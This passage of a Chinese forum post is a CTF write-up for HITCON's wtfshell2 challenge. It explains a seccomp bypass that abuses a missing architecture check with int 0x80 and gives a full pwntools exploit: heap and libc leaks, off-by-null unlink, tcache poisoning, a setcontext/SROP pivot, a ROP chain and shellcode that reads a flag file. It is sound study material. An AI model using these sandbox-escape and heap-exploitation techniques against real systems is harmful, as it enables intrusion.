 0018: 0x15 0x00 0x01 0x0000000b  if (A != munmap) goto 0020
 0019: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0020: 0x20 0x00 0x00 0x00000000  A = sys_number
 0021: 0x15 0x00 0x01 0x0000000c  if (A != brk) goto 0023
 0022: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0023: 0x20 0x00 0x00 0x00000000  A = sys_number
 0024: 0x15 0x00 0x01 0x00000027  if (A != getpid) goto 0026
 0025: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0026: 0x20 0x00 0x00 0x00000000  A = sys_number
 0027: 0x15 0x00 0x01 0x00000066  if (A != getuid) goto 0029
 0028: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0029: 0x20 0x00 0x00 0x00000000  A = sys_number
 0030: 0x15 0x00 0x01 0x00000068  if (A != getgid) goto 0032
 0031: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0032: 0x20 0x00 0x00 0x00000000  A = sys_number
 0033: 0x15 0x00 0x04 0x00000014  if (A != writev) goto 0038
 0034: 0x20 0x00 0x00 0x00000010  A = fd # writev(fd, vec, vlen)
 0035: 0x15 0x00 0x01 0x00000001  if (A != 0x1) goto 0037
 0036: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0037: 0x06 0x00 0x00 0x00000000  return KILL
 0038: 0x20 0x00 0x00 0x00000000  A = sys_number
 0039: 0x15 0x00 0x05 0x0000003c  if (A != exit) goto 0045
 0040: 0x20 0x00 0x00 0x00000010  A = error_code # exit(error_code)
 0041: 0x15 0x01 0x00 0x00000000  if (A == 0x0) goto 0043
 0042: 0x15 0x00 0x01 0x00000001  if (A != 0x1) goto 0044
 0043: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0044: 0x06 0x00 0x00 0x00000000  return KILL
 0045: 0x20 0x00 0x00 0x00000000  A = sys_number
 0046: 0x15 0x00 0x05 0x000000e7  if (A != exit_group) goto 0052
 0047: 0x20 0x00 0x00 0x00000010  A = error_code # exit_group(error_code)
 0048: 0x15 0x01 0x00 0x00000000  if (A == 0x0) goto 0050
 0049: 0x15 0x00 0x01 0x00000001  if (A != 0x1) goto 0051
 0050: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0051: 0x06 0x00 0x00 0x00000000  return KILL
 0052: 0x20 0x00 0x00 0x00000000  A = sys_number
 0053: 0x15 0x00 0x03 0x00000127  if (A != preadv) goto 0057
 0054: 0x20 0x00 0x00 0x00000010  A = fd # preadv(fd, vec, vlen, pos_l, pos_h)
 0055: 0x25 0x00 0x01 0x00000002  if (A <= 0x2) goto 0057
 0056: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0057: 0x06 0x00 0x00 0x00000000  return KILL

沙盒绕过是由winmt师傅看出来的,沙盒大手子。

  • mmap一块可写可执行的内存(沙盒ban了mmap参数7,但是没有ban 6)。
  • read shellcode到mmap出来的内存。
  • shellcode进行orw。

但是程序本身是白名单,并没有允许open,这该怎么办呢?

 

可以看到沙盒没有判断架构,而允许了preadv

 

preadv在64位下调用号为:

 

4

 

同时openat在32位下调用号为:

 

5

 

因此直接可用int0x80调用32位下的openat

 

注意沙盒里判断了preadv的第一个参数需要大于2,因此我们openat的第一个参数也需要大于2,而当openat使用绝对路径的时候,第一个参数不影响结果,故这里最好用绝对路径/flag2

wtrshell2-exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
from pwn import *
context(arch = 'amd64', os = 'linux')
 
def qwq(name):
  log.success(hex(name))
 
def debug(point):
    if point == 0:
        gdb.attach(r)
    else:
        gdb.attach(r,"b "+point)
 
r = process('/mnt/hgfs/ubuntu/hitcon/heap/share/wtfshell')
libc = ELF('/mnt/hgfs/ubuntu/hitcon/heap/share/libc.so.6')
 
def menu(payload):
    r.recvuntil("√")
    r.sendline(payload)
 
def add_data(name,content):
    payload = b'rip.'+name
    menu(payload)
    sleep(0.1)
    r.send(content)
 
def new_file(name,flag):
    payload = b'nsfw,'+name+b','+flag
    menu(payload)
 
def show_file(name):
    payload = b'omfg,'+name
    menu(payload)
 
def recover_data(name,content):
    payload = b'wtf,'+content+b','+name
    menu(payload)
 
def delete_file(name):
    payload = b'gtfo,'+name
    menu(payload)
 
def add_user(name):
    payload = b'stfu,'+name
    menu(payload)
 
def edit_pwd(name,pwd):
    payload = b'asap,'+name
    menu(payload)
    r.recvuntil(b"password:")
    r.send(pwd)
    r.recvuntil(b"retype password:")
    r.send(pwd)
 
def delete_all():
    payload = b'irl.'
    menu(payload)
 
def burp(name,pwd):
    addr = "\x80"
    for i in range(0x6):
        log.success("addr: "+hex(u64(addr.ljust(0x8,'\0'))))
        for j in range(0xb,0xff):
            payload = b'asap,'+name
            menu(payload)
            r.recvuntil(b"password:")
            r.send(pwd)
            r.recvuntil(b"retype password:")
            r.send(pwd+addr+chr(j)+"\n")
            data=r.recvuntil("\n",timeout=0.1)
            if b"asap: " not in data:
                addr+=chr(j)
                r.send(b'\x00\n')
                break
            else:
                continue
 
    return u64(addr.ljust(0x8,'\0'))
 
def write_addr(filename,payload,size):
    whole_size = len(payload)+1
    no_null_payload = payload.replace(b'\x00',b'a')
    for i in range(size):
        if no_null_payload[whole_size-i-2:whole_size-i-1] == b'a':
            recover_data(filename,no_null_payload[0:whole_size-i-2])
        else:
            continue
 
add_user(b'what')
add_user(b'lotus')
heap_base=burp(b'lotus',"a"*0x40)-0x880
key = heap_base>>12
# for i in range(0x7):
# new_file(b'chunk1',b'3')
# add_data(b'chunk1')
new_file(b'big',b'3')
new_file(b'gbuff',b'3')
new_file(b'off-by-null-chunk',b'3')
 
for i in range(0x7):
    new_file(b"chunk"+str(i).encode(),b'3')
    new_file(b"chunk1"+str(i).encode(),b'3')
 
new_file(b'chunk21',b'3')
new_file(b'chunk22',b'3')
 
for i in range(0x7):
    for j in range(0x4):
        add_data(b"chunk"+str(i).encode(),b'a'*0x100)
 
for i in range(0x2):
    for j in range(0x2):
        add_data(b"chunk1"+str(i).encode(),b'a'*0x100
    add_data(b"chunk1"+str(i).encode(),b'a'*0xf0+b'\n'
 
for i in range(0x3):
    recover_data(b"chunk2"+str(i).encode(),b'a'*0x20)
 
for i in range(3,7):
    for j in range(0x2):
        add_data(b"chunk1"+str(i).encode(),b'a'*0x100
    add_data(b"chunk1"+str(i).encode(),b'a'*0xf0+b'\n')
 
[add_data(b'big',p16(0x1650)+b'/'*(0x100-2)) for i in range(0x10)]
add_data(b'big',b'a'*0x10+b'\n')
new_file(b'b'*0x100,b'3')#use to get the free 0x110 tcache and add a chunk between the unsortedbin and the top chunk
 
add_data(b'big',b'a'*0x100)# free the unsortedbin
 
#add 0x408 back
[add_data(b'gbuff',b'a'*0x100) for i in range(0x3)]
add_data(b'gbuff',b'a'*0xf8+b'\n')
 
#add 0x521 chunk to off-by-null
[add_data(b'off-by-null-chunk',b'a'*0x100) for i in range(0x5)]
add_data(b'off-by-null-chunk',b'a'*0x10+b'\n')
 
[delete_file(b"chunk"+str(i).encode()) for i in range(0x6)]
 
add_data(b'gbuff',b'a'*0x100)
 
delete_all()
 
new_file(b'useless_chunk',b'3')
[add_data(b'useless_chunk',b'a'*0x100) for i in range(0x3)]
add_data(b'useless_chunk',b'a'*0x10+b'\n')
 
# add a 0x321 chunk and edit its fake_next_size
new_file(b'off-by-null-chunk',b'3')
[add_data(b'off-by-null-chunk',b'\x31'*0x100) for i in range(0x3)]
add_data(b'off-by-null-chunk',b'\x31'*0x10+b'\n')
[recover_data(b'off-by-null-chunk',b'\x31'*(0x2ff-i)) for i in range(0x6)]
recover_data(b'off-by-null-chunk',b'\x31'*(0x2ff-6)+b'\x09')
 
menu(b'rip.'+b'a'*(0x400-4))#make off by null and clear the prev_size
 
for i in range(0x9):
    new_file(b"chunk1"+str(i).encode(),b'3')
for i in range(0x9):
    recover_data(b"chunk1"+str(i).encode(),b'i'*0x2f0)
 
fake_point = heap_base+0x2af0
fake_point_addr = fake_point+0x30
fake_unlink_chunk = b'i'*0x10+p64(0)+p64(0x1651)+p64(fake_point_addr-0x18)+p64(fake_point_addr-0x10)+p64(fake_point_addr-0x20)+p64(fake_point_addr-0x18)+p64(fake_point)*2
 
write_addr(b'chunk15',fake_unlink_chunk,len(fake_unlink_chunk)-0x10)
 
[delete_file(b"chunk1"+str(i).encode()) for i in range(0x4)]
delete_file(b'chunk17')
delete_file(b'chunk18')
delete_file(b'chunk16')
 
#off by null unlink
 
delete_file(b'off-by-null-chunk')
 
#clear the tcache list 0x20
for i in range(0xa):
    new_file(b'useless'+str(i).encode(),b'3')
    recover_data(b'useless'+str(i).encode(),b'a'*8)
 
new_file(b'a'*0x2e0,b'3')
new_file(b'b'*0x2d0,b'3')
 
#leak_libc_base
show_file(b'chunk14')
libc_base = u64(r.recvuntil(b'\x7f')[-6:].ljust(0x8,b'\0'))-0x1f6cc0
 
new_file(b'a'*0x220,b'3')
 
new_file(b'edit_tcache_next',b'3')
recover_data(b'edit_tcache_next',b'a'*0x220)
strtok_libc_got = libc_base + 0x1f6040
write_addr(b'edit_tcache_next',b'a'*192+p64((strtok_libc_got-0x20)^(key+3)),0x8)
 
new_file(b'a'*0x20,b'3')
 
magic_gadget = libc_base + 0x8c385 # mov rdx, qword ptr [rdi + 8]; mov rax, qword ptr [rdi]; mov rdi, rdx; jmp rax;
 
new_file(b'go_attack',b'3')
recover_data(b'go_attack',b'a'*0x20+p64(magic_gadget)[0:6])
 
address = libc_base + libc.sym['__free_hook']
frame = SigreturnFrame()
frame.rdi = 0
frame.rsi = address
frame.rdx = 0x200
frame.rsp = address
frame.rip = libc_base + libc.sym['read']
 
payload = p64(libc_base + libc.sym['setcontext'] + 61) + p64(heap_base + 0x3d50)
payload += bytes(frame)
menu(payload)
 
pop_rax_ret = libc_base + 0x3fa43
pop_rbx_ret = libc_base + 0x2f1d1
pop_rcx_ret = libc_base + 0x99a83
pop_rdi_ret = libc_base + 0x23b65
pop_rsi_ret = libc_base + 0x251be
pop_rdx_ret = libc_base + 0x166262
pop_r8_ret = libc_base + 0x8c3de # pop r8; mov qword ptr fs:[0x300], rdi; ret;
syscall = libc_base + 0x8cc36
int_80 = libc_base + 0xce0cb
 
rop = p64(pop_rdi_ret) + p64(0x100000)
rop += p64(pop_rsi_ret) + p64(0x1000)
rop += p64(pop_rdx_ret) + p64(6)
rop += p64(pop_rcx_ret) + p64(0x22)
rop += p64(pop_r8_ret) + p64(0xffffffff)
rop += p64(libc_base + libc.sym['mmap'])
rop += p64(pop_rdi_ret) + p64(0)
rop += p64(pop_rsi_ret) + p64(0x100000)
rop += p64(pop_rdx_ret) + p64(0x200)
rop += p64(libc_base + libc.sym['read'])
rop += p64(0x100008)
sleep(0.1)
r.send(rop)
 
shellcode = asm("""
    xor rdi, rdi;
    push 3;
    pop rax;
    syscall;
 
    push 3;
    pop rbx;
    push 0x100000;
    pop rcx;
    xor rdx, rdx;
    push 0x127;
    pop rax;
    int 0x80;
 
    xor rdi, rdi;
    push rsp;
    pop rsi;
    add rsi, 0x200;
    push rsi;
    pop rbx;
    push 0x100;
    pop rdx;
    xor rax, rax;
    syscall;
 
    push 1;
    pop rdi;
    push 0x100;
    push rbx;
    push rsp;
    pop rsi;
    push 1;
    pop rdx;
    push 20;
    pop rax;
    syscall;
""")
sleep(0.1)
r.send(b'/flag2\x00\x00' + shellcode)
 
qwq(heap_base)
qwq(libc_base)
r.interactive()

至此,wtfshell2 get

 

3


[2023春季班]《安卓高级研修班(网课)》月薪两万班招生中~

最后于 2022-12-2 11:12 被Loτυs编辑 ,原因:
上传的附件:
收藏
点赞17
打赏
分享
最新回复 (6)
雪    币: 41
活跃值: 活跃值 (3886)
能力值: ( LV12,RANK:250 )
在线值:
发帖
回帖
粉丝
winmt 活跃值 6 2022-12-1 15:32
2
1
一起肝了很久QAQ,做完其实也没那么难,支持一波Lotus师傅~
雪    币: 1035
活跃值: 活跃值 (537)
能力值: ( LV4,RANK:40 )
在线值:
发帖
回帖
粉丝
Loτυs 活跃值 1 2022-12-1 15:33
3
1
winmt 一起肝了很久QAQ,做完其实也没那么难,支持一波Lotus师傅~
winmt超人!!
雪    币: 437
活跃值: 活跃值 (286)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
h1J4cker 活跃值 2022-12-1 15:44
4
0
两位神带带我
雪    币: 470
活跃值: 活跃值 (556)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
TripleJ 活跃值 2022-12-1 18:06
5
0
支持0.0
雪    币: 317
活跃值: 活跃值 (2362)
能力值: ( LV8,RANK:120 )
在线值:
发帖
回帖
粉丝
Ayakaaa 活跃值 2 2022-12-2 11:27
6
0
tql
雪    币: 1199
活跃值: 活跃值 (609)
能力值: ( LV4,RANK:40 )
在线值:
发帖
回帖
粉丝
CatF1y 活跃值 1 2022-12-6 20:56
7
0
tql
游客
登录 | 注册 方可回帖
返回